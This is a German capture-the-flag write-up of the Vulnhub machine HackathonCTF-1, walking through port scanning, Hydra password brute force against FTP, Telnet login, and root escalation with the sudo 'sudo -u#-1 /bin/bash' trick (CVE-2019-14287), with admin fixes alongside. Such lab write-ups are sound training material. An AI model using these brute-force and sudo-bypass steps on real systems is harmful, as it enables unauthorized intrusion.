HackathonCTF-1 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
base64
ftp
hydra
telnet
find
uname
ls
cd
cat
sudo
grep
Web Browser

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und der Untersuchung der offenen Ports und Dienste.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:a0:75:98	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird eingesetzt, um mittels ARP-Anfragen aktive Geräte im lokalen Netzwerksegment aufzuspüren.

Bewertung: Ein aktives System wurde unter der IP-Adresse `192.168.2.122` identifiziert. Die MAC-Adresse (`08:00:27:a0:75:98`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.122`. Definieren Sie optional einen Hostnamen in der lokalen `/etc/hosts`-Datei zur Vereinfachung.
Empfehlung (Admin): Netzwerksegmentierung und -überwachung können zur Erkennung solcher Scans beitragen.

Wir fügen einen Eintrag zur lokalen Hosts-Datei hinzu.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
192.168.2.122   hackathon1.vln
                     

Analyse: Die lokale Datei `/etc/hosts` wird editiert, um den Hostnamen `hackathon1.vln` der IP-Adresse `192.168.2.122` zuzuordnen.

Bewertung: Reine Konfigurationsänderung auf dem Angreifersystem zur Arbeitserleichterung.

Empfehlung (Pentester): Verwenden Sie den Hostnamen in den folgenden Schritten.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu ermitteln.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 23:03 CEST
Nmap scan report for hackathon1.vln (192.168.2.122)
Host is up (0.00011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION 
21/tcp   open  ftp     vsftpd 3.0.2
23/tcp   open  telnet  Linux telnetd
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|_/ctf /ftc /sudo
7223/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:
|   1024 48:98:fc:58:02:9a:73:0b:c8:9a:18:53:00:f3:69:c7 (DSA)
|   2048 71:8f:f7:f7:23:7f:e6:73:f4:2b:a9:51:de:8f:d1:8d (RSA)
|   256 93:62:fe:09:7c:50:8a:1d:19:2f:4d:95:0f:fa:2c:34 (ECDSA)
|_  256 48:6e:82:29:06:a9:77:5f:08:f2:34:df:60:06:a2:cc (ED25519)
MAC Address: 08:00:27:A0:75:98 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel 

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.11 ms hackathon1.vln (192.168.2.122)

                    

Analyse: `nmap` wird mit Optionen für SYN-Scan (`-sS`), Standard-Skripte (`-sC`), Versionserkennung (`-sV`), schnellem Timing (`-T5`), aggressiven Scan (`-A`), ohne Ping (`-Pn`) gegen alle TCP-Ports (`-p-`) ausgeführt.

Bewertung: Der Scan identifiziert vier offene Ports:

Das Betriebssystem wird als älteres Ubuntu (Kernel 3.x/4.x, Apache 2.4.7 deutet auf ~Ubuntu 14.04 hin) identifiziert. Die Versionen von vsftpd, Apache und OpenSSH sind veraltet. Telnet ist ein großes Sicherheitsrisiko.

Empfehlung (Pentester): Untersuchen Sie alle vier Dienste. Priorisieren Sie Telnet (wegen Unsicherheit und möglicher Default-Credentials) und FTP (anonyme Logins? Bruteforce?). Untersuchen Sie die in `robots.txt` genannten Web-Pfade. Versuchen Sie SSH-Bruteforce auf Port 7223, falls Benutzernamen bekannt werden.
Empfehlung (Admin): **Dringend:** Deaktivieren Sie den Telnet-Dienst (Port 23) und verwenden Sie ausschließlich SSH. Aktualisieren Sie vsftpd, Apache und OpenSSH auf aktuelle, unterstützte Versionen. Überprüfen Sie die FTP-Konfiguration (anonymen Zugang deaktivieren). Überprüfen Sie die Inhalte der Web-Verzeichnisse.

Zur Übersicht filtern wir die offenen Ports.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p- | grep open
21/tcp   open  ftp     vsftpd 3.0.2
23/tcp   open  telnet  Linux telnetd
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
7223/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 
                    

Analyse: Filtert die vorherige Nmap-Ausgabe nach Zeilen, die "open" enthalten.

Bewertung: Bestätigt die vier offenen Ports (21, 23, 80, 7223) und die dazugehörigen Dienste.

Empfehlung (Pentester): Klare Übersicht der Angriffsvektoren.
Empfehlung (Admin): Notwendigkeit aller Dienste prüfen, insbesondere Telnet.

Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.122
- Nikto v2.5.0
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2023-10-17 23:03:10 (GMT2)
+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 3 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /: Server may leak inodes via ETags, header found with file /, inode: e3, size: 5b2a211a88142, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST . 
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8105 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-10-17 23:03:25 (GMT2) (15 seconds)
+ 1 host(s) tested
                    

Analyse: `nikto` scannt den Webserver auf Port 80.

Bewertung: Bestätigt die veraltete Apache-Version (2.4.7), fehlende Security Header und das ETag-Leak. Verweist explizit auf die `robots.txt` mit 3 Einträgen und findet die Standarddatei `/icons/README`. Keine spezifischen Anwendungen wie phpMyAdmin oder WordPress wurden hier gefunden.

Empfehlung (Pentester): Untersuchen Sie den Inhalt der `robots.txt` und der darin genannten Pfade.
Empfehlung (Admin): Aktualisieren Sie Apache. Beheben Sie Header-Probleme. Entfernen Sie Standarddateien.

Web Enumeration & OSINT

Wir untersuchen die vom Webserver bereitgestellten Dateien und Hinweise.

Ein Gobuster-Scan wird durchgeführt, um Verzeichnisse und Dateien zu finden.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://hackathon1.vln -x [...] -w "[...]" -b '403,404,301' -e --no-error -k
http://hackathon1.vln/index.html           (Status: 200) [Size: 227]
http://hackathon1.vln/robots.txt           (Status: 200) [Size: 139]
http://hackathon1.vln/ftc.html             (Status: 200) [Size: 154]
http://hackathon1.vln/sudo.html            (Status: 200) [Size: 281]
http://hackathon1.vln/ctf.html             (Status: 200) [Size: 0] 
                     

Analyse: Gobuster sucht nach Web-Inhalten und ignoriert dabei Fehler- und Weiterleitungs-Statuscodes.

Bewertung: Findet die Startseite (`index.html`), `robots.txt` und die drei in `robots.txt` erwähnten HTML-Dateien (`ftc.html`, `sudo.html`, `ctf.html`). Die Datei `ctf.html` ist leer.

Empfehlung (Pentester): Analysieren Sie den Inhalt von `robots.txt`, `ftc.html` und `sudo.html`.
Empfehlung (Admin): Entfernen Sie nicht benötigte oder leere Dateien vom Webserver.

Analyse des Inhalts von `robots.txt`:

user-agent: *
Disallow: /ctf

user-agent: *
Disallow: /ftc

user-agent: *
Disallow: /sudo
                     

Analyse: Die `robots.txt` listet drei Pfade auf, die von Suchmaschinen ignoriert werden sollen.

Bewertung: Bestätigt die Pfade, die Gobuster gefunden hat. Diese sind wahrscheinlich absichtlich platziert.

Empfehlung (Pentester): Untersuchen Sie `/ftc.html` und `/sudo.html`.
Empfehlung (Admin): `robots.txt` ist keine Sicherheitsmaßnahme.

Analyse eines Base64-kodierten Hinweises (Herkunft im Log unklar, möglicherweise aus einer der HTML-Dateien oder einem anderen Scan):

c3NoLWJydXRlZm9yY2Utc3Vkb2l0Cg==
# echo "c3NoLWJydXRlZm9yY2Utc3Vkb2l0Cg==" | base64 -d
ssh-bruteforce-sudoit

Analyse: Ein Base64-String wird dekodiert.

Bewertung: Der dekodierte Text `ssh-bruteforce-sudoit` ist ein sehr klarer Hinweis auf die nächsten Schritte: SSH-Bruteforce und anschließende Nutzung von `sudo`.

Empfehlung (Pentester): Konzentrieren Sie sich auf SSH-Bruteforce (Port 7223) und behalten Sie `sudo` für die Privilegienerweiterung im Hinterkopf.
Empfehlung (Admin): Vermeiden Sie es, solche Hinweise zu hinterlassen.

Analyse des Inhalts von `ftc.html`:

what are you looking for??????

-- #117
#115
#101
#32
#114
#111
#99
#107
#121
#111
#117
#46
#116
#120
#116
--
                     

Analyse: Die Datei enthält eine Liste von Zahlen, die ASCII-Dezimalcodes darstellen.

Bewertung: Die Konvertierung der Dezimalcodes ergibt den Text `use rockyou.txt`. Ein weiterer klarer Hinweis auf die zu verwendende Wortliste für den Bruteforce-Angriff.

Empfehlung (Pentester): Verwenden Sie die Wortliste `/usr/share/wordlists/rockyou.txt` für den SSH-Bruteforce.
Empfehlung (Admin): Vermeiden Sie es, Hinweise zu hinterlassen.

Analyse des Inhalts von `sudo.html`:

Just Sudo It..
From the little spark may burst a mighty flame.
                     

Analyse: Enthält einen direkten Hinweis auf `sudo` und ein Zitat.

Bewertung: Bestätigt, dass `sudo` wahrscheinlich der Weg zur Privilegienerweiterung ist.

Empfehlung (Pentester): Nach Erhalt einer Shell unbedingt `sudo -l` prüfen.
Empfehlung (Admin): Vermeiden Sie Hinweise.

FTP & Telnet Enumeration

Wir untersuchen die FTP- und Telnet-Dienste weiter.

Versuch, sich anonym am FTP-Server anzumelden:

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.122
Connected to 192.168.2.122.
220 (vsFTPd 3.0.2)
Name (192.168.2.122:cyber): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
                     
ftp> quit
221 Goodbye.

Analyse: Versuch eines anonymen FTP-Logins.

Bewertung: Fehlschlag (`530 Login incorrect`). Anonymer Zugriff ist nicht erlaubt.

Empfehlung (Pentester): Versuchen Sie FTP-Bruteforce mit bekannten oder erratenen Benutzernamen (z.B. `ctf`, `test`, `anonymous`, `ftp`) und der `rockyou.txt`-Liste.
Empfehlung (Admin): Gut konfiguriert (kein anonymer Zugang).

FTP-Bruteforce-Versuch mit Hydra für den Benutzernamen `test`:

┌──(root㉿Cybermaschine)-[~] └─# hydra -l test -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.122:21 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-17 23:08:34
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344516 login tries (l:1/p:14344516), ~224134 tries per task
[DATA] attacking ftp://192.168.2.122:21/

[21][ftp] host: 192.168.2.122   login: test   password: jordan23

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 13 final worker threads did not complete until end.
[ERROR] 13 targets did not resolve or could not be connected 
[ERROR] 0 target did not complete 
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-17 23:09:22
                     

Analyse: Hydra versucht, das Passwort für den FTP-Benutzer `test` (woher dieser Name stammt, ist im Log unklar - Annahme: Raten oder Vorwissen) mit der `rockyou.txt`-Liste zu finden.

Bewertung: Erfolg! Das Passwort `jordan23` wird für den Benutzer `test` gefunden.

Empfehlung (Pentester): Loggen Sie sich als `test`/`jordan23` via FTP, Telnet und SSH (Port 7223) ein.
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden. Brute-Force-Schutz implementieren.

Erfolgreicher FTP-Login als `test`/`jordan23`:

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.122
Connected to 192.168.2.122.
220 (vsFTPd 3.0.2)
Name (192.168.2.122:cyber): test
331 Please specify the password.
Password: jordan23
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                     
ftp> ls -la
229 Entering Extended Passive Mode (|||14987|).
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 Sep 24  2020 .
drwxr-xr-x    4 0        0            4096 Sep 23  2020 ..
-rw-------    1 1001     1001         1145 Oct 27  2020 .bash_history 
-rw-r--r--    1 1001     1001          220 Sep 23  2020 .bash_logout
-rw-r--r--    1 1001     1001         3637 Sep 23  2020 .bashrc
drwx------    2 1001     1001         4096 Sep 23  2020 .cache 
-rw-r--r--    1 1001     1001          675 Sep 23  2020 .profile
226 Directory send OK. 
                     

Analyse: Login mit den gefundenen Credentials. Auflisten des Home-Verzeichnisses von `test`.

Bewertung: Zugriff auf das Home-Verzeichnis von `test` erhalten. Die Datei `.bash_history` ist vorhanden und lesbar.

Empfehlung (Pentester): Laden Sie `.bash_history` herunter (`get .bash_history`) und analysieren Sie sie.
Empfehlung (Admin): Keine Aktion.

Verbindungsversuch mit Telnet:

┌──(root㉿Cybermaschine)-[~] └─# telnet 192.168.2.122 23
Trying 192.168.2.122...
Connected to 192.168.2.122.
Escape character is '^]'.
Ubuntu 14.04 LTS
ctf login:
                     

Analyse: Verbindungsaufbau zum Telnet-Dienst auf Port 23.

Bewertung: Verbindung erfolgreich. Das System präsentiert einen Login-Prompt für "Ubuntu 14.04 LTS" und fragt nach einem `ctf login`.

Empfehlung (Pentester): Versuchen Sie den Login mit `test`/`jordan23`.
Empfehlung (Admin): **Telnet deaktivieren!**

Initial Access (via Telnet)

Wir nutzen die über FTP-Bruteforce gefundenen Zugangsdaten, um uns über den unsicheren Telnet-Dienst anzumelden.

(Impliziter Login via Telnet mit `test`/`jordan23` - Annahme, da der nächste Prompt `test@ctf` ist)

Analyse: Annahme, dass der Login mit `test` und dem Passwort `jordan23` über Telnet erfolgreich war.

Bewertung: Initial Access über Telnet erlangt. Wir haben eine Shell als Benutzer `test`.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration. Da Telnet unsicher ist, versuchen Sie, ob SSH-Login mit denselben Credentials auf Port 7223 auch funktioniert und wechseln Sie ggf. dorthin.
Empfehlung (Admin): **Telnet deaktivieren!**

Local Enumeration

Nachdem wir Zugriff als `test` haben, führen wir lokale Enumerationsschritte durch.

Suche nach SUID-Binaries:

test@ctf:/var$ find / -type f -perm -4000 -ls 2>/dev/null
1058892   76 -rwsr-xr-x   1 root     root        75256 Oct 21  2013 /usr/bin/mtr 
1048870  152 -rwsr-xr-x   1 root     root       155008 Feb 10  2014 /usr/bin/sudo
1048752   32 -rwsr-xr-x   1 root     root        32464 Feb 16  2014 /usr/bin/newgrp
1048683   68 -rwsr-xr-x   1 root     root        68152 Feb 16  2014 /usr/bin/gpasswd
1048764   48 -rwsr-xr-x   1 root     root        47032 Feb 16  2014 /usr/bin/passwd
1048609   48 -rwsr-xr-x   1 root     root        46424 Feb 16  2014 /usr/bin/chfn
1058796   24 -rwsr-xr-x   1 root     root        23104 Mar 14  2014 /usr/bin/traceroute6.iputils
1048612   44 -rwsr-xr-x   1 root     root        41336 Feb 16  2014 /usr/bin/chsh
1065255   12 -rwsr-xr--   1 root     telnetd     10712 Oct  2  2012 /usr/lib/telnetlogin 
1062016  432 -rwsr-xr-x   1 root     root       440416 Mar  4  2019 /usr/lib/openssh/ssh-keysign
1057022  292 -rwsr-xr--   1 root     messagebus   298512 Apr  1  2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1048960   12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
1049591   12 -rwsr-xr-x   1 root     root        10344 Apr 12  2014 /usr/lib/pt_chown
1058997  336 -rwsr-xr--   1 root     dip        343168 Jan 22  2013 /usr/sbin/pppd
1059336   20 -rwsr-sr-x   1 libuuid  libuuid     18904 Apr 16  2014 /usr/sbin/uuidd
786566   32 -rwsr-xr-x   1 root     root        30800 Dec 16  2013 /bin/fusermount
786491   96 -rwsr-xr-x   1 root     root        94792 Apr 16  2014 /bin/mount
786524   40 -rwsr-xr-x   1 root     root        36936 Feb 16  2014 /bin/su
786532   68 -rwsr-xr-x   1 root     root        69120 Apr 16  2014 /bin/umount
                     

Analyse: Der `find`-Befehl listet Dateien mit gesetztem SUID-Bit auf.

Bewertung: Enthält viele Standard-SUID-Binaries für Ubuntu 14.04. `/usr/bin/sudo` ist vorhanden. `/usr/lib/telnetlogin` ist wegen des aktiven Telnet-Dienstes interessant, aber schwerer auszunutzen. Keine offensichtlichen "low-hanging fruit"-Exploits hier.

Empfehlung (Pentester): Überprüfen Sie die `sudo`-Berechtigungen für `test` mit `sudo -l`.
Empfehlung (Admin): Minimieren Sie SUID-Binaries. Deaktivieren Sie Telnet.

Überprüfung der Systemversion:

test@ctf:/var/www/html$ uname -a
Linux ctf 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
                     

Analyse: `uname -a` gibt detaillierte System- und Kernel-Informationen aus.

Bewertung: Bestätigt einen sehr alten Kernel (3.13.0 von 2014), der wahrscheinlich für mehrere bekannte Kernel-Exploits anfällig ist (z.B. Dirty COW, falls nicht gepatcht).

Empfehlung (Pentester): Suchen Sie nach Kernel-Exploits für Linux 3.13.0-24. Überprüfen Sie jedoch zuerst die `sudo`-Rechte und die `.bash_history` für einfachere Wege.
Empfehlung (Admin): **Dringend** das Betriebssystem auf eine unterstützte Version aktualisieren!

Erkundung des Home-Verzeichnisses eines anderen Benutzers:

test@ctf$ ls ..
ctf  test
test@ctf$ cd ../ctf/
test@ctf:/home/ctf$ ls -la
total 28
drwxr-xr-x 3 ctf  ctf  4096 Sep 22  2020 .
drwxr-xr-x 4 root root 4096 Sep 23  2020 ..
-rw------- 1 ctf  ctf  1707 Oct 26  2020 .bash_history 
-rw-r--r-- 1 ctf  ctf   220 Sep 22  2020 .bash_logout
-rw-r--r-- 1 ctf  ctf  3637 Sep 22  2020 .bashrc
drwx------ 2 ctf  ctf  4096 Sep 22  2020 .cache 
-rw-r--r-- 1 ctf  ctf   675 Sep 22  2020 .profile
                     
test@ctf:/home/ctf$ cat .bash_history
cat: .bash_history: Permission denied
                     

Analyse: Der Benutzer `test` wechselt in das Home-Verzeichnis `/home/ctf` und listet dessen Inhalt auf. Der Versuch, `.bash_history` zu lesen, schlägt fehl.

Bewertung: Bestätigt die Existenz des Benutzers `ctf`. Die Berechtigungen verhindern, dass `test` die Bash-History von `ctf` lesen kann (korrekte Konfiguration).

Empfehlung (Pentester): Konzentrieren Sie sich auf die Rechte und Dateien des Benutzers `test`.
Empfehlung (Admin): Berechtigungen für Home-Verzeichnisse sind korrekt gesetzt.

Analyse der `.bash_history` des aktuellen Benutzers `test`:

test@ctf$ cat .bash_history
exit
sudo -i
mkdir ctf.conf
mkdir ctf_conf
mkdir somu
logout
cd ..
ls
cd test/
cd ctf.conf/
cat pass.txt
nano pass.txt
sudo poweroff -f
poweroff
sudo -i
locate ctf.zip
logout
jordan23   <--- 
sudo -i
su ctf
uid
...
...
uname -r
sudo -v
logout
sudo -u #-1 /etc 
sudo --u #-1 
logout
exit
sudo -i
reboot
sudo -i
sudo -u#-1 /bin/bash 
logout
                     

Analyse: Die Bash-History von `test` wird ausgegeben.

Bewertung: **Mehrere kritische Funde!**

Empfehlung (Pentester): **Der Weg ist klar:** Führen Sie `sudo -u#-1 /bin/bash` aus, um Root-Rechte zu erlangen.
Empfehlung (Admin): Aktualisieren Sie `sudo` auf eine Version, die nicht für CVE-2019-14287 anfällig ist. Konfigurieren Sie `/etc/sudoers` sicher und vermeiden Sie `ALL=(ALL:ALL) ALL`-Regeln, wenn möglich. Klären Sie Benutzer über die Risiken der Bash-History auf (oder konfigurieren Sie sie entsprechend).

Proof of Concept (Privilege Escalation via Sudo CVE-2019-14287)

Dieser Abschnitt demonstriert die Ausnutzung der `sudo`-Schwachstelle (CVE-2019-14287), die durch die Analyse der `.bash_history` identifiziert wurde, um Root-Rechte zu erlangen.

Kurzbeschreibung: Die `.bash_history` des Benutzers `test` enthielt den Befehl `sudo -u#-1 /bin/bash`. Diese Technik nutzt eine Schwachstelle in älteren `sudo`-Versionen (CVE-2019-14287) oder eine spezifische `sudoers`-Konfiguration, um durch Angabe der User ID `-1` (oder `4294967295`) Root-Rechte zu erlangen, selbst wenn die `sudoers`-Regel dies nicht explizit erlaubt.

Voraussetzungen: Shell-Zugriff als Benutzer `test`. Eine anfällige `sudo`-Version oder Konfiguration.

Schritt 1: Ausführung des Exploits

test@ctf$ sudo -u#-1 /bin/bash
[sudo] password for test: jordan23
root@ctf:/# 
                    

Analyse: Der Befehl `sudo -u#-1 /bin/bash` wird ausgeführt. Er weist `sudo` an, `/bin/bash` als Benutzer mit der ID `-1` zu starten. Nach Eingabe des Passworts für `test` wird der Befehl ausgeführt.

Bewertung: Erfolg! Der Shell-Prompt wechselt zu `root@ctf:/#`, was anzeigt, dass wir eine Root-Shell erhalten haben. Die Schwachstelle war erfolgreich ausnutzbar.

Empfehlung (Pentester): Bestätigen Sie die Rechte mit `id`. Sammeln Sie die Flags.
Empfehlung (Admin): **Dringend:** Aktualisieren Sie `sudo` auf eine Version >= 1.8.28, um CVE-2019-14287 zu beheben. Überprüfen Sie die `/etc/sudoers`-Konfiguration auf unsichere Regeln.

Risikobewertung: Die Kombination aus einem unsicheren Telnet-Dienst, einem durch Bruteforce erratbaren Passwort und einer ungepatchten `sudo`-Schwachstelle (CVE-2019-14287) stellt ein kritisches Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die vollständige Übernahme des Systems.

Empfehlungen (Zusammenfassung):

Flags

cat /home/???/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A